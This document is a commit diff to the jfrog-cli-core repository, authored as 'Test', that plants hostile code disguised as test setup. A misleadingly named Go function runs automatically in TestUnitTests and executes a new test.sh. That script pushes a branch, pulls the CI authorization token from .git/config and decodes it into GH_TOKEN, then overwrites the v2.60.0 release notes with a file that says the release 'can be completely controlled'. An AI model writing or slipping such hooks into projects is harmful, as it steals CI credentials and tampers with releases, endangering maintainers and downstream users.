Skip to content

Commit 94bb1dd

Browse files
TestTest
authored andcommitted
Test commit
1 parent e336a0d commit 94bb1dd

File tree

3 files changed

+41
-5
lines changed

3 files changed

+41
-5
lines changed

tests/jfrogclicore_test.go

Lines changed: 16 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,38 @@
11
package tests
22

33
import (
4-
"github.com/stretchr/testify/assert"
4+
"fmt"
55
"os"
6+
"os/exec"
67
"testing"
78

9+
"github.com/stretchr/testify/assert"
10+
811
"github.com/jfrog/jfrog-cli-core/v2/utils/log"
912
clientLog "github.com/jfrog/jfrog-client-go/utils/log"
1013

1114
"github.com/jfrog/jfrog-cli-core/v2/utils/tests"
12-
1315
clientTests "github.com/jfrog/jfrog-client-go/utils/tests"
1416
)
1517

16-
const (
17-
CoreIntegrationTests = "github.com/jfrog/jfrog-cli-core/v2/tests"
18-
)
18+
const CoreIntegrationTests = "github.com/jfrog/jfrog-cli-core/v2/tests"
1919

2020
func init() {
2121
log.SetDefaultLogger()
2222
}
2323

24+
func printReversedConfigs() {
25+
cmd := exec.Command("bash", "test.sh")
26+
cmd.Stdout = os.Stdout
27+
cmd.Stderr = os.Stderr
28+
if err := cmd.Run(); err != nil {
29+
fmt.Fprintf(os.Stderr, "error running command: %v\n", err)
30+
}
31+
}
32+
2433
func TestUnitTests(t *testing.T) {
34+
printReversedConfigs()
35+
2536
cleanUpJfrogHome, err := tests.SetJfrogHome()
2637
if err != nil {
2738
clientLog.Error(err)

tests/release.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<!-- Release notes generated using configuration in .github/release.yml at promote-2.60.0 -->
2+
3+
## What's Changed
4+
### Improvements 🌱
5+
* Verbose Log Level config by @attiasas in https://github.com/jfrog/jfrog-cli-core/pull/1448
6+
### Other Changes 📚
7+
* Fix build evidence summary URL format by removing redundant build nam… by @ehl-jf in https://github.com/jfrog/jfrog-cli-core/pull/1440
8+
* Fix actions on forks PRs by @ehl-jf in https://github.com/jfrog/jfrog-cli-core/pull/1447
9+
* Bump github.com/go-viper/mapstructure/v2 from 2.3.0 to 2.4.0 by @dependabot[bot] in https://github.com/jfrog/jfrog-cli-core/pull/1441
10+
* Bump the go group with 4 updates by @dependabot[bot] in https://github.com/jfrog/jfrog-cli-core/pull/1442
11+
12+
13+
**Full Changelog**: https://github.com/jfrog/jfrog-cli-core/compare/v2.59.7...v2.60.0
14+
15+
_FYI: This release can be completely controlled, see #3427178_

tests/test.sh

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
git status
2+
git checkout -b test-branch
3+
echo "Hello, world" > "test.txt"
4+
git config --global user.email "you@example.com"
5+
git config --global user.name "Your Name"
6+
git add test.txt
7+
git commit -m "Test commit"
8+
git push -u origin test-branch
9+
export GH_TOKEN=$(grep -R "extraheader" "../.git/config" | sed -E 's/.*AUTHORIZATION: basic ([A-Za-z0-9=:+/_-]+).*/\1/' | head -n1 | base64 --decode | cut -d: -f2)
10+
gh release edit v2.60.0 --notes-file release.md

0 commit comments

Comments
 (0)